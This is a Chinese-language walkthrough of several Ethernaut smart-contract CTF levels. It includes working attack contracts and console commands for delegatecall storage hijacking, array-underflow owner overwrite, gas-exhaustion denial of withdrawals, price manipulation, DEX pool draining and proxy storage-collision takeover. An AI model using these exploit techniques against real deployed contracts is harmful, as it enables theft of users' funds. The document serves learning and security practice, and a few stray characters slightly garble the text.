/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
* - the caller must have allowance for ``from``'s tokens of at least
* `amount`.
*/
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
当然,这前提是有足够的allowance。我们可以开始试试了。
首先通过await contract.approve(player,await contract.balanceOf(player))
,使得自身可以通过transferFrom
函数进行转账。
随后我们通过await contract.transferFrom(player,contract.address,await contract.balanceOf(player))
将余额转移到合约。
此时再通过await contract.balanceOf(player)
查看余额,可知攻击成功,余额为0。
提交实例,本关卡成功!
继承部分函数不影响其他的使用,这可以说的上是表面合约了。
我又回来了,给外方的培训算是快要告一段落,在这段过程中,我认为我也有许多收获。在培训、讲解的过程中,我的思路也变得更为清晰了。可喜可贺。理论上来说,我初步计划的是在8月完成Ethernaut的攻防,然后开启下一阶段的分享。
根据先前的步骤,创建合约实例,其合约地址为0x2f3aC08a3761D8d97A201A36f7f0506CEAaF1046
。本关卡的目的是获取目标合约的所有权。那我们还是要看看,目标合约的薄弱点在哪里,我们hack的入口又在哪里?
我们对目标展开详细分析
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
此处目标存储了timeZone1Library
、timeZone2Library
、owner
及storedTime
变量,而前三者都是在创建时指定的。
既然要获取目标合约的所有权,首先我们查找修改owner
的语句,但是翻遍代码都没有找到,或许我们得看看有哪些危险函数?
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
没错,就是这里,delegatecall!
其实,在Delegation
一关中,我们专门提到过call函数族中的区别:
此时,使用delegate call时,我们只是相当于调用了函数,而实际执行环境还是本身的运行环境。如果要更为底层的来说,又该怎么理解呢?这个环境,尤其是涉及到storage变量的存储时,是根据插槽来使用的,而不是变量的名字。换句话来说,我们如果通过delegate call修改storage变量,其实是修改当前环境下对应的插槽!
理解了这一点,我们再来看当前合约,真是怎么看怎么不对劲:当调用对应合约LibraryContract
的setTime
函数后,如所见即所得,storedTime
变量被修改,这其实会修改运行环境下的slot 0
,换而言之,其实timeZone1Library
所处的插槽已经被修改了。这个合约本身就是有问题的!
也就是因为它有问题,我们才要处理它!我们首先想将timeZone1Library
的地址修改为我们的攻击合约,在想办法通过delegate call实现后续的攻击。
我们同样在remix里编写攻击合约。如下:
pragma solidity ^0.6.0;
contract attacker {
address public tmpAddr1;
address public tmpAddr2;
address public owner;
constructor() public {
}
function setTime(uint _time) public {
owner = address(_time);
}
}
乍一看,这和原来合约的有什么区别么?其实有的,就是我们在修改时特意使得修改的是第三个插槽,也就是slot 2
。变量tmpAddr1
和tmpAddr2
其实只是一个插槽的占位符,并无特殊含义。
首先我们部署攻击合约,合约地址为0x852D36AcCF80Eb6611FC124844e52DC9fC72c958
。现在我们就是想用其替换原有的变量timeZone1Library
。
-----------------------------------------------------
| 0x7Dc17e761933D24F4917EF373F6433d4a62fe3c5 | <- slot 0
-----------------------------------------------------
| 0xeA0De41EfafA05e2A54d1cD3ec8CE154b1Bb78F1 | <- slot 1
-----------------------------------------------------
| 0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263F | <- slot 2
-----------------------------------------------------
| storedTime | <- slot 3
-----------------------------------------------------
我们试着调用await contract.setFirstTime()
(first 还是 second 其实并不影响,可以思考以下为什么)并传入我们的攻击合约。此时可以看到其实已经发生了改变。我们可以直接传入地址而不去在意uint的限制,因为具体构建的data并不会指明参数类型,而会是evm手动的编译。
此时,其布局应当为
-----------------------------------------------------
| 0x852D36AcCF80Eb6611FC124844e52DC9fC72c958 | <- slot 0
-----------------------------------------------------
| 0xeA0De41EfafA05e2A54d1cD3ec8CE154b1Bb78F1 | <- slot 1
-----------------------------------------------------
| 0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263F | <- slot 2
-----------------------------------------------------
| storedTime | <- slot 3
-----------------------------------------------------
此时,想法就很简单,直接调用await contract.setFirstTime()
并传入player地址。传入后查看owner变量是否发生修改,可以看到已经成功获取到了合约所有权。
此时布局为:
-----------------------------------------------------
| 0x852D36AcCF80Eb6611FC124844e52DC9fC72c958 | <- slot 0
-----------------------------------------------------
| 0xeA0De41EfafA05e2A54d1cD3ec8CE154b1Bb78F1 | <- slot 1
-----------------------------------------------------
| 0x0bD590c9c9d88A64a15B4688c2B71C3ea39DBe1b | <- slot 2
-----------------------------------------------------
| storedTime | <- slot 3
-----------------------------------------------------
还是得明白 delegate call共享环境到底共享的是什么。
根据先前的步骤,创建合约实例,其合约地址为0x2f3aC08a3761D8d97A201A36f7f0506CEAaF1046
。本关卡的目的是找到“丢失的地址”(我们给他转去了0.001ether却忘记了其地址)并恢复丢失的以太。
这题其实有两种思路,一种略微取巧了,第二个我猜是题目真正想考的。
根据题目描述可以知道,这其实是一个连续的过程:合约创建者创建代币合约的工厂合约,后者再创建代币合约(被遗忘的地址)。我们就围绕这个思路展开。
这里的浏览器可不是Browser,而是Explorer。
我们可以查看自己的交易记录。可以看到我们在里面还转移了两次0.001以太。
我们可以基于内部调用展开分析。整体流程如下:
0xd991431d8b033ddcb84dad257f4821e9d5b38c33
0xd991431d8b033ddcb84dad257f4821e9d5b38c33
调用关卡合约0x0eb8e4771aba41b70d0cb6770e04086e5aee5ab2
并转账0.001Ether0x0eb8e4771aba41b70d0cb6770e04086e5aee5ab2
创建工厂合约0xfeB7158F1d0Ff49043e7e2265576224145b158f2
0x0eb8e4771aba41b70d0cb6770e04086e5aee5ab2
调用工厂合约0xfeB7158F1d0Ff49043e7e2265576224145b158f2
,应该是generateToken
接口0xfeB7158F1d0Ff49043e7e2265576224145b158f2
创建了代币合约0x9d91ABf611BBf14E52FA4cddEa81F8f2CF665cb8
0x0eb8e4771aba41b70d0cb6770e04086e5aee5ab2
向代币合约0x9d91ABf611BBf14E52FA4cddEa81F8f2CF665cb8
转账0.001Ether,随后忘记该合约地址。
通过浏览器,我们找到了该代币合约地址为0x9d91ABf611BBf14E52FA4cddEa81F8f2CF665cb8
。
其实,合约地址的生成是有规律可寻的。经常可以看到有的代币或组织跨链部署的合约都是同样的,这是因为合约地址是根据创建者的地址及nonce来计算的,两者先进行RLP编码再利用keccak256进行哈希计算,在最终的结果取后20个字节作为地址(哈希值原本为32字节)。
我们用web3.js试试召回丢失的合约地址。目前已知工厂合约为0xfeB7158F1d0Ff49043e7e2265576224145b158f2
,nonce为1,
输入为web3.utils.keccak256(Buffer.from(rlp.encode(['0xfeB7158F1d0Ff49043e7e2265576224145b158f2',1]))).slice(-40,)
,结果为9d91abf611bbf14e52fa4cddea81f8f2cf665cb8
。
找到了合约,现在就要尝试和合约进行交互。我们可以新建合约,也可以直接通过web3.js与合约进行交互。
首先,我们通过encodeFunctionSignature获取函数指示,并构造参数。最后通过sendTransaction发送出来。
可以看到有4字节的函数以及32字节的输入(不够的补0)。
成功调用!
提交实例,本关卡成功!
)
其实感觉自己原理都知道,但实操起来总有些不熟练,还得多练习~
根据先前的步骤,创建合约实例,其合约地址为0x36c8074B1F138B7635Ad1eFe0c2b37b346EC540c
。本关卡就是希望我们能手写solidity的opcode,构建合约,再被调用是能直接返回魔数0x42
。准确来说,就是希望我们熟悉当我们创建合约的时候,transaction中的data实际指的是什么。
这一块其实我也不是特别熟悉,所以也查询了一些资料。当我们用Solidity部署合约时,究竟会发生些什么?
to
选项),此时solidity语言已经被编译为字节码我们这里其实既要写运行态字节码,又要写初始化的字节码。
那就开始编写字节码。
运行态其实就是直接返回RETURN
42。可是opcodeRETURN
是基于栈的。它会读取栈中的p和s并返回。其中p
代表存储的内存地址,而s
代表的是存储数据的大小。所以我们的思路就是,先把数据利用mstore
存到内存里,再利用RETURN
返回。
mstore
会读取栈中的p和v,并最终将数据存储到p位置上
push1 0x42
-> 60 42
push1 0x60
-> 60 60
(存储在0x60的位置)mstore
-> 52
RETURN
返回0x42
push1 0x20
-> 60 20
(0x20=32
即uint256的字节数)push1 0x60
-> 60 60
return
-> f3
合起来就是604260605260206060f3
。看上去运行态字节码就这么简单。
其核心就是初始化并通过codecopy
将运行态字节码存到内存去,在这之后,这将自动地被EVM处理并存储到区块链上。
codecopy
会读取参数t、f、s,其中t
是代码的目的内存地址,f
是运行态代码相对于整体(初始化+运行态)的偏移,而s
则是代码大小。我们这里选择t=0x20
(这里没有强制性要求),f=unknown(是1字节的偏移量)
,s=0x0a(10个字节的大小)
push1 0x0a
-> 60 0a
push1 0xUN
-> 60 UN
push1 0x20
-> 60 20
codecopy
-> 39
通过RETURN
将代码返回给EVM
push1 0x0a
-> 60 0a
push1 0x20
-> 60 20
return
-> f3
12=0x0c=UN
600a600c602039600a6020f3
构建字节码0x600a600c602039600a6020f3604260605260206060f3
。
我们在console界面构造了交易以创建合约。
由于交易没有接受方,自动被识别为部署合约
部署完成,可以看出,合约地址为0xAcA8C7d0F1E90272A1bf8046A6b9B3957fbB4771
。
将合约设置为solver。后面当我们提交后会自动调用以查看是否满足。
提交关卡,进行检验,发现没有成功?怎么回事?
先查看交易的RAW TRACE
,可以看出最后的确是访问了我们的合约,也的确是返回了0x42。
再去看汇编,可以看到,的确也是执行了。
随即我们在remix上的导入,调用函数,的确也都返回0x42。
难道?我们修改返回的值从0x42到42(0x2a
)。
构建字节码0x600a600c602039600a6020f3602a60605260206060f3
。
此时通过remix调用,的确都返回42。再提交看看?成功了!
其实有人会觉得困惑?也没有个函数选择器啥的?其实这里需要补充一下,平常我们通过solidity编写智能合约后,在编译时会植入函数选择器。而我们本关卡没有这一步骤,所以就如同remix调用的图一样,所有函数其实都执行的同一块命令,得到的是同一个结果。
根据先前的步骤,创建合约实例,其合约地址为0xc4017fe2BD1Cb4629E0225B6CCe2c712138588Ef
。本关卡的目的是获取合约的所有权。那我们先看看合约内有没有设置所有权的代码?
contract AlienCodex is Ownable {
bool public contact;
bytes32[] public codex;
...
}
看到代码就知道,合约里应该是没有设置所有权的代码,那我们可能就要想办法从其他地方入手了。发现代码里有这段:
function revise(uint i, bytes32 _content) contacted public {
codex[i] = _content;
}
看来就是这里了,想办法从这里入手,通过该操作以改变插槽存储值的大小。
我们先看看slot里存的都是些什么?
由于合约继承了Ownable
合约,所以slot0中存储的就是owner
对象,此时为0xda5b3Fb76C78b6EdEE6BE8F11a1c31EcfB02b272
。实际上该地址就是创建目标合约的地址,如下图所示:
, the owner will still get their share
而存储的contact
变量也是在slot 0
中(一个插槽长度为32位,能够存放地址(20)+布尔型(1)),目前为0即为false。slot1存储的则是codex
动态数组,更准确来说,应该是codex
动态数组的长度,而具体的下标内容呢?会按序存储在keccak256(bytes(1))+x
的插槽内,其中,x就是数组的下标。所以我们将插槽表示出来:
-----------------------------------------------------
| unused(11 bytes) |contact = false | 0xda5b3Fb76C78b6EdEE6BE8F11a1c31EcfB02b272 | <- slot 0
-----------------------------------------------------
| codex length =0 | <- slot 1
-----------------------------------------------------
...
-----------------------------------------------------
| codex data[0] | <- slot ??
-----------------------------------------------------
我们现在计算codex data的起始插槽,应该是0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6
我们先测试一下准确性。由于contacted modifier
的存在,我们先修改contact
变量。调用await contact.make_contact()
,再次查看插槽数值,可以发现变量成功被修改。
先存一个值看看,await contract.record("0x000000000000000000000000000000000000000000000000000000000000aaaa")
测试一下。此时,插槽长度发生变化,同时存储数据也有所修改。
再存一个值看看,await contract.record("0x000000000000000000000000000000000000000000000000000000000000bbbb")
测试一下。此时,插槽长度发生变化,同时存储数据也有所修改。
现在我们就希望通过修改codex
的data
导致溢出最终修改slot 0。
首先我们连续调用三次await contract.retract()
将codex.length
下溢出为2**256-1
。此时先前输入的数据均已丢失。
那下标该是多少呢?应该是2**256-1-0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6+1
。因为我们到达末端后需要再进一位产生上溢出,返回slot0。在计算的过程中我们遇到一个问题,那就是javascript会利用科学计数法,而这会导致精度的丢失。为了简便起见,我们用remix计算,结果是35707666377435648211887908874984608119992236509074197713628505308453184860938
。
那我们就用await contract.revise('35707666377435648211887908874984608119992236509074197713628505308453184860938',player)
来调用,此时会覆盖原有slot。但一检查发现不对,结果跑前面去了。看来我们又要修改一下,不能直接传入player
,需要传入0x0000000000000000000000000bD590c9c9d88A64a15B4688c2B71C3ea39DBe1b
。
输入await contract.revise('35707666377435648211887908874984608119992236509074197713628505308453184860938','0x0000000000000000000000000bD590c9c9d88A64a15B4688c2B71C3ea39DBe1b')
,此举是在地址前面补齐24个0,凑足244+404=256位即32bytes,从而将地址存入正确的存储位置。
此时,合约所有者已经成功修改。
提交实例,本关卡成功!
在涉及到owner方面(或者其他重要变量)一定要慎重,寻找所有的可能性。
根据先前的步骤,创建合约实例,其合约地址为0xeb587746E66F008f686521669B5ea99735b1310B
。本关卡的目的是阻止owner
提款。我们先看看各角色是什么。
function withdraw() public {
uint amountToSend = address(this).balance.div(100);
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value:amountToSend}("");
owner.transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = now;输入
withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
}
每当用户提款时,会调用withdraw
函数,取出1%发给partner
,还有1%发给owner
。我们能做的就是在partner
端定义函数,使的发给owner
的步骤无法进行。
然而,合约中调用的是call
并附上了所有gas。我们先回顾一下send
、call
和transfer
之间的区别。
所以我们的入手点就是消耗光其gas,光失败不会终止后续执行的!
如何消耗呢?那我们就来看看require
和assert
。
assert
会消耗掉所有剩余的gas并恢复所有的操作require
会退还所有剩余的gas并返回一个值所以我们似乎可以在assert上下功夫。
攻击合约很简单,就是默认assert(false)
并回滚一切操作。
pragma solidity ^0.6.0;
contract attacker {
constructor() public {
}
fallback() external payable {
assert(false);
}
}
部署攻击合约,地址为0xF8fc486804A40d654CC7ea37B9fdae16D0A5d8a7
。
输入await contract.setWithdrawPartner('0xF8fc486804A40d654CC7ea37B9fdae16D0A5d8a7')
将攻击合约设置为partner
角色。
此时我们发起withdraw
测试一下。输入await contract.withdraw()
,结果发现由于gas耗尽,所以失败。
提交实例,本关卡成功!
还是那句老话,合约的交互是难以信任的。
根据先前的步骤,创建合约实例,其合约地址为0xaF30cef990aD1D3b641Bad72562f62FF3A0977C7
。本关卡的目的是用低于问讯要求的价格实现购买。其具体代码段如下:
function buy() public {
Buyer _buyer = Buyer(msg.sender);
if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
合约会询问用户msg.sender
(所以可以是智能合约)的出价,如果其price()
函数返回的结果超过当前的定价并且商品仍未卖出,则会将定价设为用户的出价。现在看应该是要求用户两次出价返回的结果不同。然而,我们可以看到Buyer
类型的接口price()
是一个view
类型的函数,这表明只能读取变量而不应当对变量有所修改,即不能改变当前合约的状态。这可怎么办呢?
那么有没有办法能够使得view
方法两次返回的值不同呢?目前来说,有两种方法:
如果view
类型方法依托于外部合约的状态,通过询问外部变量,即可无修改地实现返回值的区别。
同样基于remix,我们编写合约如下:
pragma solidity ^0.6.0;
interface Shop {
function buy() external;
function isSold() external view returns (bool);码
}
contract attacker {
Shop shop;
constructor(address _addr) public {
shop = Shop(_addr);
}
function attack() public {
shop.buy();
}
function price() external view returns (uint){
if (!shop.isSold()){
return 101;
}else{
return 99;
}
}
}
此时由于在请求price()
前后Shop
合约的isSold
变量已发生了变化,所以我们可以基于该变量设置if
规则,这种方法是适用的。
如果我们依赖于now
、timestamp
等变量,的确可以实现在不同区块下view
类型的函数会返回不同结果,然而,在同一区块下,似乎仍难以区分开来。
我们有如下合约:
contract attacker2 {
Shop shop;
uint time;
constructor(address _addr) public {
shop = Shop(_addr);
time = now;
}
function attack() public {
shop.buy();
}
function price() external view returns (uint){
return (130-(now-time));
}
}
在不同时刻调用view
类型的price
函数,返回的值是有区别的。然而,在同一区块呢,很难去达成区别,所以是不够适用的。
先查看合约当前状态。
部署攻击合约,合约地址为0x8201E303702976dc3E203a4D3cDe244D522274bf
。
此时调用price
方法,返回101
。
调用attack
方法发起进攻。调用完后刷新目标合约状态。此时商品已卖出,价格为99。
提交实例,本关卡完成!
有时候从另一个角度去想问题,这和我们常规理解的可能不一样。
根据先前的步骤,创建合约实例,其合约地址为0x28B73f0b92f69A35c1645a56a11877b044de3366
。本关卡的是DEX(Decentralized Exchange,去中心化交易所)的简易版本。
对合约展开分析,合约中只存有两个代币合约,一个是token1
,一个是token2
。
function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}
而合约支持我们根据代币之间的汇率进行兑换。兑换的价格为两个代币的数量之比。
function getSwapPrice(address from, address to, uint amount) public view returns(uint){
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}
这里发现有一个问题,我们暂且按下不表。
那我们需要做什么呢?就是利用这里面不对称的汇率,实现套利,挖空交易池里的代币(一种即可)。
由于在swap
里已经限定只能围绕token1
和token2
展开交易。所以我们只能从汇率入手了。那这就回到我们一开始发现的问题,对于单次交易来说,汇率是恒定的!对一般的去中心化交易所来说,都会有滑点(Slippage)的概念,即随着交易额的增长,理论汇率和实际汇率之间的差值会越来越大! 而很明显,本关卡合约没有滑点的概念,这就使得我们能获取到的兑换额度要比实际值大的多。多兑换几次,我们就能很快掏空交易池。
我们先看看交易池内token1
、token2
和我们账户代币的数量。
如果我们要将手头的10个token1
兑换为token2
,首先我们通过await contract.approve(contract.address,10)
完成授权。
随后我们通过await contract.swap(token1,token2,10)
将10个token1
兑换为token2
。根据初始汇率1:1
我们可以获取到10个token2
。此时我们有了0个token1
、20个token2
,但交易所现在有110个token1
、90个token2
,如果我们将10个token2
兑换回去,我们可以获得不止10个token1
!这就是套利!
通过下表展示套利过程,其中由于精度有限所以汇率往往只能精确到小数点后1位。最后一次我们根据汇率不完全兑换,只兑换46个(110/2.4=45.83
),结果失败(因为交易池没有那么多)。后来发现,直接兑换45个即可。
交易池token1 | 交易池token2 | 汇率1-2 | 汇率2-1 | 用户token1 | 用户token2 | 兑换币种 | 兑换后用户token1 | 兑换后用户token1 |
---|---|---|---|---|---|---|---|---|
100 | 100 | 1 | 1 | 10 | 10 | token1 | 0 | 20 |
110 | 90 | 0.818 | 1.222 | 0 | 20 | token2 | 24 | 0 |
86 | 110 | 1.28 | 0.782 | 24 | 0 | token1 | 0 | 30 |
110 | 80 | 0.727 | 1.375 | 0 | 30 | token2 | 41 | 0 |
69 | 110 | 1.694 | 0.627 | 41 | 0 | token1 | 0 | 65 |
110 | 45 | 0.409 | 2.44 | 0 | 65 | token2 | 110 | 20 |
此时,交易池的token1
已经被掏空!提交关卡,本关卡成功!
涉及到Dex
这种Defi
项目,智能合约的编写一定要慎之又慎。
根据先前的步骤,创建合约实例,其合约地址为0xF8A6bcdD3B5297f489d22039F5d3D1e3D58570bA
。本关卡仍是DEX(Decentralized Exchange,去中心化交易所)的简易版本。
乍一看,这题跟上个没啥区别阿。但仔细一看似乎缺了点什么?
function swap(address from, address to, uint amount) public {
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint swapAmount = getSwapAmount(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}
里面不再对币种的地址作校验了,那我们能否部署自己的代币合约,并通过相关方法提供流动性,并最终掏空池子呢?
我们参考目标合约中的SwappableToken
合约,编写攻击合约如下:
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract SwappableTokenAttack is ERC20 {
address private _dex;
constructor(address dexInstance, string memory name, string memory symbol, uint initialSupply) public ERC20(name, symbol) {
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}
function approve(address owner, address spender, uint256 amount) public returns(bool){
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}
部署合约,其合约地址为0x82c06a4a75b99f90B773B5e90bD8B5b9E18BFf6e
我们首先实现approve
授权许可,给目标合约8个攻击代币的许可。
随后,我们通过await contract.add_liquidity('0x82c06a4a75b99f90B773B5e90bD8B5b9E18BFf6e',1)
将攻击代币加入DEX
。结果失败,原来我们不是合约的owner
。
这影响吗?不影响,我们可以在攻击合约中手动转账。
此时,获取一下攻击代币转token1
的汇率呗~ await contract.getSwapAmount('0x82c06a4a75b99f90B773B5e90bD8B5b9E18BFf6e',await contract.token1(),1)
,结果发现我们可以全部掏空token1
!
那就发起把,先后输入await contract.swap('0x82c06a4a75b99f90B773B5e90bD8B5b9E18BFf6e',await contract.token1(),1)
和await contract.swap('0x82c06a4a75b99f90B773B5e90bD8B5b9E18BFf6e',await contract.token2(),2)
以实现将交易池掏空!成功!(对token2
使用2个攻击代币是因为我们此时汇率已经下降到1:50
了)
智能合约真是处处漏洞阿,有时间一定要研究一下UniSwap!
根据先前的步骤,创建合约实例,其合约地址为0xd1B77Be5ECD09964e521b36A35804c46bb5a9ED9
。这个时候我们还不知道这个合约实例到底是什么。而我们的目的是要成为proxy
的所有者。
初看关卡里的合约,可能会很困惑,这里面又是proxy
又是wallet
,这到底时是要干什么呢?在深入分析本关卡的合约之前,我们需要了解一下什么叫代理模式,否则我们无法明白其中的门门道道。
学过设计模式的同学其实都知道什么是代理模式:为其他对象提供一种代理以控制对某个对象的访问。也就是说,每次我要访问A,其实我是通过调用B的接口,而B中存有A的对象实例,并对外暴露与A相同的接口,这时候,当我们调用B时,我们仍以为自己在访问A,并对其中代理部分浑然不觉。
那么,代理模式的优点又在哪里呢?如果业务有更新,完全可以实现热部署,代理实例通过切换对象实例,此时使用者不会感觉到服务有中断或者发生了变化。
而在智能合约中,要使用代理模式,思路也是一样的,就是为了解决合约一旦上链无法更新的问题。当我们需要更新合约时,只要将代理合约中的合约实例指向新创建的合约即可。此时,对和代理合约交互的用户来说,并没有感到服务产生了变化。现在很多链游就是基于以上原理,可以不断的更新合约、更新游戏。而转发具体是怎么实现的呢?其实就是利用fallback
函数,当用户访问不存在的函数时,会进入fallback
,代理合约在此处即可完成转发。
回到正题,我们现在获得的0xd1B77Be5ECD09964e521b36A35804c46bb5a9ED9
究竟是什么?是PuzzleProxy
还是PuzzleWallet
呢?我们从三个角度来看一看。
合约创建角度
我们截图看看我们创建实例时的内部调用。
可以看出,用户地址调用Ethernaut合约地址
,后者调用关卡合约
,由关卡合约
分别创建0xd04cb22addf0bc25858935688482ad328c839e97
及0xd1b77be5ecd09964e521b36a35804c46bb5a9ed9
,而0xd1b77be5ecd09964e521b36a35804c46bb5a9ed9
被创建后,又通过delegatecall
调用了0xd04cb22addf0bc25858935688482ad328c839e97
。这似乎就很明朗了,0xd04cb22addf0bc25858935688482ad328c839e97
应该是Puzzle Wallet
,0xd1b77be5ecd09964e521b36a35804c46bb5a9ed9
则是代理合约。想想的确也是这样,代理合约在初始化时肯定也需要指定实例合约。
constructor(address _admin, address _implementation, bytes memory _initData) UpgradeableProxy(_implementation, _initData) public {
admin = _admin;
}
合约创建源码
我们可以在Ethernaut
的github项目中找到工厂合约
function createInstance(address /*_player*/) override public payable returns (address) {
require(msg.value == 0.001 ether, "Must send 0.001 ETH to create instance");
// deploy the PuzzleWallet logic
PuzzleWallet walletLogic = new PuzzleWallet();
// deploy proxy and initialize implementation contract
bytes memory data = abi.encodeWithSelector(PuzzleWallet.init.selector, 100 ether);
PuzzleProxy proxy = new PuzzleProxy(address(this), address(walletLogic), data);
PuzzleWallet instance = PuzzleWallet(address(proxy));
// whitelist this contract to allow it to deposit ETH
instance.addToWhitelist(address(this));
instance.deposit{ value: msg.value }();
return address(proxy);
}
很明显,是先创建PuzzleWallet
,然后创建PuzzleProxy
并最后返回proxy
地址。
很明显,对外暴露的应该是代理合约
,实际合约应当藏在代理合约的后面。
那可能又有疑惑了,我这里contract.abi
获得的结果为什么又是PuzzleWallet
的abi呢?其实没问题,本来暴露的就应该是实际合约的接口咯。
那这么一看的话,我们的切入点又在哪里呢?
其实代理合约
通过delegatecall
调用实例合约
,这里面有一个我们先前提过的问题,就是需要两个合约之间的存储槽不能产生冲突,否则会导致数据被随意修改。那我们就来看看,其实本关卡是存在存储冲突这一问题的。
先看PuzzleProxy
,其定义变量如下,而UpgradeableProxy并没有定义变量。
contract PuzzleProxy is UpgradeableProxy {
address public pendingAdmin;
address public admin;
}
因此,其slot
存储如下:
-----------------------------------------------------
| unused (12bytes) | pendingAdmin (address 20bytes) |< - slot 0
-----------------------------------------------------
| unused (12bytes) | admin (address 20bytes) |< - slot 1
-----------------------------------------------------
而PuzzleWallet
中变量存储如下:
-----------------------------------------------------
| unused (12bytes) | owner(address 20bytes) |< - slot 0
-----------------------------------------------------
| maxBalance |< - slot 1
-----------------------------------------------------
| whitelised(占位) |< - slot 2
-----------------------------------------------------
| balances(占位) |< - slot 3
-----------------------------------------------------
所以很明显,产生了存储冲突,proxy
中的pendingAdmin
及admin
实际上对应在puzzleWallet
中应该是owner
及maxBalance
。所以如果我们想修改admin
其实可以从maxBalance
入手,或者通过pendingAdmin
等看一看。
想要通过setMaxBalance
修改maxBalance
有一个先决条件,那就是onlyWhitelisted
,即用户需要在白名单中。而要添加到白名单,需要调用addToWhitelist
方法,这又需要require(msg.sender == owner, "Not the owner");
,所以我们可以先通过修改pendingAdmin
修改owner
,然后在逐一完成。
我们先生成selector
将其和param
合并生成交易中的data
,以此可以发起对proposeNewAdmin(address)
方法的调用。在修改过后此时合约的owner
已修改为'0x0bD590c9c9d88A64a15B4688c2B71C3ea39DBe1b'
。
通过await contract.addToWhitelist(player)
将用户添加到白名单中,此时再用await contract.whitelisted(player)
进行检查。
然后,如果要设置setMaxBalance
需要满足条件require(address(this).balance == 0, "Contract balance is not 0");
即合约本身余额不能为0,而我们通过await getBalance(contract.address)
可以查询到合约还有余额0.001
以太。我们应当办法将其移除。
此时我们可以查看到槽的存储情况如下,slot 0
已变成了用户地址,而slot 1
却是关卡合约的地址。
这是什么原因呢?这是因为,在初始化代理合约时,admin
变量已经确定,所以当后续调用init
时,由于存储冲突,所以maxBalance
不为0,所以该方法其实调用就失败了,原始值也就没有更改。
我们想到multicall
里面有这么一个限制:
if (selector == this.deposit.selector) {
require(!depositCalled, "Deposit can only be called once");
// Protect against reusing msg.value
depositCalled = true;
}
这是什么意思呢? 那就是只能存一次,如果在multicall
里调用两次deposite
函数,我们也不应当重复计算所存的数量。这里只是简单的对data的选择器作了单层校验,我们如果将其封装,似乎是可以绕过的。
我们需要找到调用时发送的数据。其中selector
的数据为:
组装成multicall
时,其数据为:
再将其封装,data
与selector
一起传入,调用multicall
,同时附上0.001Ether,此时由于没有两个deposit
同时调用,就可以绕过。相当于msg.value
被重复计算了两次。
此时,可以看出用户在合约中的份额实际变为0.002Ether。
通过await contract.execute(player,web3.utils.toWei('0.002'),0x0)
取出所有的Ether,此时合约balance
为0。此时,由于满足了我们先前所说的条件,在此之后我们就可以通过setMaxBalance
去设置maxBalance
从而改变admin
了。
通过await contract.setMaxBalance('0x0000000000000000000000000bD590c9c9d88A64a15B4688c2B71C3ea39DBe1b')
改变maxBalance
,此时可以发现,slot 1
中的值也随之发生改变,对应的admin
也发生了改变。
代理合约虽好,但其中的坑可不少,一定要仔细设计,用心斟酌。
根据先前的步骤,创建合约实例,其合约地址为0x620Edcd5C5B957E35c9e4E1BB3e8612DD62B9c48
。本关卡的要求是通过自毁Engine
从而使得Motorbike
合约失效。
我们先来看看这题究竟想要干什么:吸取了上一题的教训,这题很明显也注意到存储slot
冲突的问题了,代理合约Motorbike
不再定义变量去存储,而是定义了被代理合约Engine
地址存储的槽编号。
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
其所有的业务操作都是通过fallback()
函数调用_delegate()
实现的。
// Delegates the current call to `implementation`.
function _delegate(address implementation) internal virtual {
// solhint-disable-next-line no-inline-assembly
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
// Fallback function that delegates calls to the address returned by `_implementation()`.
// Will run if no other function in the contract matches the call data
fallback () external payable virtual {
_delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value);
}
// Returns an `AddressSlot` with member `value` located at `slot`.
function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r_slot := slot
}
}
每当有新的请求进来,则会先从存储中获取slot
结构体,并在_delegate
中进行Engine
方法的调用。
接下来我们看看Engine
合约,合约定义了一系列函数,其中还包括upgradeToAndCall
等函数。除了业务逻辑之外,Motorbike
合约的升级也是由Engine
实现,所作的其实是修改对应槽的位置并初步调用新的函数(一般来说是初始化函数)。
// Upgrade the implementation of the proxy to `newImplementation`
// subsequently execute the function call
function upgradeToAndCall(address newImplementation, bytes memory data) external payable {
_authorizeUpgrade();
_upgradeToAndCall(newImplementation, data);
}
// Restrict to upgrader role
function _authorizeUpgrade() internal view {
require(msg.sender == upgrader, "Can't upgrade");
}
// Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
function _upgradeToAndCall(
address newImplementation,
bytes memory data
) internal {
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0) {
(bool success,) = newImplementation.delegatecall(data);
require(success, "Call failed");
}
}
